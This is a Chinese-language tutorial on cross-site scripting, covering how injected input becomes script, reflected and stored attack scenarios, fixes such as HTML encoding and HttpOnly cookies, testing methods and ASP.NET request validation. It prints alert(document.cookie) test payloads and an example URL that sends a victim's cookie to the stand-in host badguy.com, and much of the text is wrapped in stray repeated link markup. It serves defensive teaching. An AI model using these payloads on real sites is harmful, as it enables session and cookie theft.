xss 是如何發生的呢
假如有下面一個textbox
<input type="text" name="address1" value="value1from">
value1from是來自使用者的輸入,如果使用者不是輸入value1from,而是輸入 "/><script>alert(document.cookie)</script><!- 那麼就會變成
<input type="text" name="address1" value=""/><script>alert(document.cookie)</script><!- ">
嵌入的javascript代碼将會被執行
或者使用者輸入的是 "onfocus="alert(document.cookie) 那麼就會變成
<input type="text" name="address1" value="" onfocus="alert(document.cookie)">
事件被觸發的時候嵌入的javascript代碼将會被執行
攻擊的威力,取決于使用者輸入了什麼樣的腳本
當然使用者送出的資料還可以通過querystring(放在url中)和cookie發送給伺服器. 例如下圖
html encode
xss之是以會發生, 是因為使用者輸入的資料變成了代碼。 是以我們需要對使用者輸入的資料進行html encode處理。 将其中的"中括号", “單引号”,“引号” 之類的特殊字元進行編碼。
在c#中已經提供了現成的方法,隻要調用httputility.htmlencode("string <scritp>") 就可以了。 (需要引用system.web程式集)
fiddler中也提供了很友善的工具, 點選toolbar上的"textwizard" 按鈕
<a href="http://www.51testing.com/batch.download.php?aid=44829" target="_blank"> xss 攻擊場景</a>
<a href="http://www.51testing.com/batch.download.php?aid=44829" target="_blank"> 1. dom-based xss 漏洞 攻擊過程如下</a>
<a href="http://www.51testing.com/batch.download.php?aid=44829" target="_blank"> tom 發現了victim.com中的一個頁面有xss漏洞,</a>
<a href="http://www.51testing.com/batch.download.php?aid=44829" target="_blank"> 例如: http://victim.com/search.asp?term=apple</a>
<a href="http://www.51testing.com/batch.download.php?aid=44829" target="_blank"> 伺服器中search.asp 頁面的代碼大概如下</a>
<a href="http://www.51testing.com/batch.download.php?aid=44829" target="_blank"><html></a>
<a href="http://www.51testing.com/batch.download.php?aid=44829" target="_blank"><title></title></a>
<a href="http://www.51testing.com/batch.download.php?aid=44829" target="_blank"><body></a>
<a href="http://www.51testing.com/batch.download.php?aid=44829" target="_blank">results for <%reequest.querystring("term")%></a>
<a href="http://www.51testing.com/batch.download.php?aid=44829" target="_blank">...</a>
<a href="http://www.51testing.com/batch.download.php?aid=44829" target="_blank"></body></a>
<a href="http://www.51testing.com/batch.download.php?aid=44829" target="_blank"></html></a>
<a href="http://www.51testing.com/batch.download.php?aid=44829" target="_blank"> tom 先建立一個網站http://badguy.com, 用來接收“偷”來的資訊。</a>
<a href="http://www.51testing.com/batch.download.php?aid=44829" target="_blank"> 然後tom 構造一個惡意的url(如下), 通過某種方式(郵件,qq)發給monica</a>
<a href="http://www.51testing.com/batch.download.php?aid=44829" target="_blank"> http://victim.com/search.asp?term=<script>window.open("http://badguy.com?cookie="+document.cookie)</script></a>
<a href="http://www.51testing.com/batch.download.php?aid=44829" target="_blank"> monica點選了這個url, 嵌入在url中的惡意javascript代碼就會在monica的浏覽器中執行. 那麼monica在victim.com網站的cookie, 就會被發送到badguy網站中。這樣monica在victim.com 的資訊就被tom盜了.</a>
<a href="http://www.51testing.com/batch.download.php?aid=44829" target="_blank"> 2. stored xss(存儲式xss漏洞), 該類型是應用廣泛而且有可能影響大web伺服器自身安全的漏洞,攻擊者将攻擊腳本上傳到web伺服器上,使得所有通路該頁面的使用者都面臨資訊洩露的可能。 攻擊過程如下</a>
<a href="http://www.51testing.com/batch.download.php?aid=44829" target="_blank"> alex發現了網站a上有一個xss 漏洞,該漏洞允許将攻擊代碼儲存在資料庫中,</a>
<a href="http://www.51testing.com/batch.download.php?aid=44829" target="_blank"> alex釋出了一篇文章,文章中嵌入了惡意javascript代碼。</a>
<a href="http://www.51testing.com/batch.download.php?aid=44829" target="_blank"> 其他人如monica通路這片文章的時候,嵌入在文章中的惡意javascript代碼就會在monica的浏覽器中執行,其會話cookie或者其他資訊将被alex盜走。</a>
<a href="http://www.51testing.com/batch.download.php?aid=44829" target="_blank"> dom-based xss漏洞威脅使用者個體,而存儲式xss漏洞所威脅的對象将是大量的使用者.</a>
<a href="http://www.51testing.com/batch.download.php?aid=44829" target="_blank"> xss 漏洞修複</a>
<a href="http://www.51testing.com/batch.download.php?aid=44829" target="_blank"> 原則: 不相信客戶輸入的資料</a>
<a href="http://www.51testing.com/batch.download.php?aid=44829" target="_blank"> 注意: 攻擊代碼不一定在<script></script>中</a>
<a href="http://www.51testing.com/batch.download.php?aid=44829" target="_blank"> 将重要的cookie标記為http only, 這樣的話javascript 中的document.cookie語句就不能擷取到cookie了.</a>
<a href="http://www.51testing.com/batch.download.php?aid=44829" target="_blank"> 隻允許使用者輸入我們期望的資料。 例如: 年齡的textbox中,隻允許使用者輸入數字。 而數字之外的字元都過濾掉。</a>
<a href="http://www.51testing.com/batch.download.php?aid=44829" target="_blank"> 對資料進行html encode 處理</a>
<a href="http://www.51testing.com/batch.download.php?aid=44829" target="_blank"> 過濾或移除特殊的html标簽, 例如: <script>, <iframe> , &lt; for <, &gt; for >, &quot for</a>
<a href="http://www.51testing.com/batch.download.php?aid=44829" target="_blank"> 過濾javascript 事件的标簽。例如 "onclick=", "onfocus" 等等。</a>
<a href="http://www.51testing.com/batch.download.php?aid=44829" target="_blank"> 如何測試xss漏洞</a>
<a href="http://www.51testing.com/batch.download.php?aid=44829" target="_blank"> 方法一: 檢視代碼,查找關鍵的變量, 用戶端将資料傳送給web 服務端一般通過三種方式 querystring, form表單,以及cookie. 例如在asp的程式中,通過request對象擷取用戶端的變量</a>
<a href="http://www.51testing.com/batch.download.php?aid=44829" target="_blank"><%</a>
<a href="http://www.51testing.com/batch.download.php?aid=44829" target="_blank">strusercode = request.querystring(“code”);</a>
<a href="http://www.51testing.com/batch.download.php?aid=44829" target="_blank">struser = request.form(“user”);</a>
<a href="http://www.51testing.com/batch.download.php?aid=44829" target="_blank">strid = request.cookies(“id”);</a>
<a href="http://www.51testing.com/batch.download.php?aid=44829" target="_blank">%></a>
<a href="http://www.51testing.com/batch.download.php?aid=44829" target="_blank"> 假如變量沒有經過htmlencode處理, 那麼這個變量就存在一個xss漏洞</a>
<a href="http://www.51testing.com/batch.download.php?aid=44829" target="_blank"> 方法二: 準備測試腳本,</a>
<a href="http://www.51testing.com/batch.download.php?aid=44829" target="_blank">"/><script>alert(document.cookie)</script><!--</a>
<a href="http://www.51testing.com/batch.download.php?aid=44829" target="_blank"><script>alert(document.cookie)</script><!--</a>
<a href="http://www.51testing.com/batch.download.php?aid=44829" target="_blank">"onclick="alert(document.cookie)</a>
在網頁中的textbox或者其他能輸入資料的地方,輸入這些測試腳本, 看能不能彈出對話框,能彈出的話說明存在xss漏洞
在url中檢視有那些變量通過url把值傳給web伺服器, 把這些變量的值退換成我們的測試的腳本。 然後看我們的腳本是否能執行
方法三: 自動化測試xss漏洞
現在已經有很多xss掃描工具了。 實作xss自動化測試非常簡單,隻需要用httpwebrequest類。 把包含xss 測試腳本。發送給web伺服器。 然後檢視httpwebresponse中,我們的xss測試腳本是否已經注入進去了。
html encode 和url encode的差別
剛開始我老是把這兩個東西搞混淆, 其實這是兩個不同的東西。
html編碼前面已經介紹過了,關于url 編碼是為了符合url的規範。因為在标準的url規範中中文和很多的字元是不允許出現在url中的。
例如在baidu中搜尋"測試漢字"。 url會變成
http://www.baidu.com/s?wd=%b2%e2%ca%d4%ba%ba%d7%d6&rsv_bp=0&rsv_spt=3&inputt=7477
所謂url編碼就是: 把所有非字母數字字元都将被替換成百分号(%)後跟兩位十六進制數,空格則編碼為加号(+)
在c#中已經提供了現成的方法,隻要調用httputility.urlencode("string <scritp>") 就可以了。 (需要引用system.web程式集)
浏覽器中的xss過濾器
為了防止發生xss, 很多浏覽器廠商都在浏覽器中加入安全機制來過濾xss。 例如ie8,ie9,firefox, chrome. 都有針對xss的安全機制。 浏覽器會阻止xss。 例如下圖
如果需要做測試, 最好使用ie7。
asp.net中的xss安全機制
asp.net中有防範xss的機制,對送出的表單會自動檢查是否存在xss,當使用者試圖輸入xss代碼的時候,asp.net會抛出一個錯誤如下圖
很多程式員對安全沒有概念, 甚至不知道有xss的存在。 asp.net在這一點上做到預設安全。 這樣的話就算是沒有安全意識的程式員也能寫出一個”較安全的網站“。
如果想禁止這個安全特性, 可以通過 <%@ page validaterequest=“false" %>
最新内容請見作者的github頁:http://qaseven.github.io/